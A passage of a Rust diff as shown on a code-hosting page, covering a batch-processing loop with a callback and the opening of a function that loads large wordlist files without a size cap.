if batch.len() >= batch_size {
|
||||||
|
total += batch.len();
|
||||||
|
if !on_batch(std::mem::replace(&mut batch, Vec::with_capacity(batch_size))) {
|
||||||
|
return Ok(total);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !batch.is_empty() {
|
||||||
|
total += batch.len();
|
||||||
|
on_batch(batch);
|
||||||
|
}
|
||||||
|
Ok(total)
|
||||||
|
}
|
||||||
|
|
||||||
/// Load lines from a file without the 100 MB cap.
|
/// Load lines from a file without the 100 MB cap.
|
||||||
/// For wordlists that may be very large.
|
/// For wordlists that may be very large.
|
||||||
pub fn load_lines_uncapped<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
pub fn load_lines_uncapped<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||||
|
|||||||
Reference in New Issue
Block a user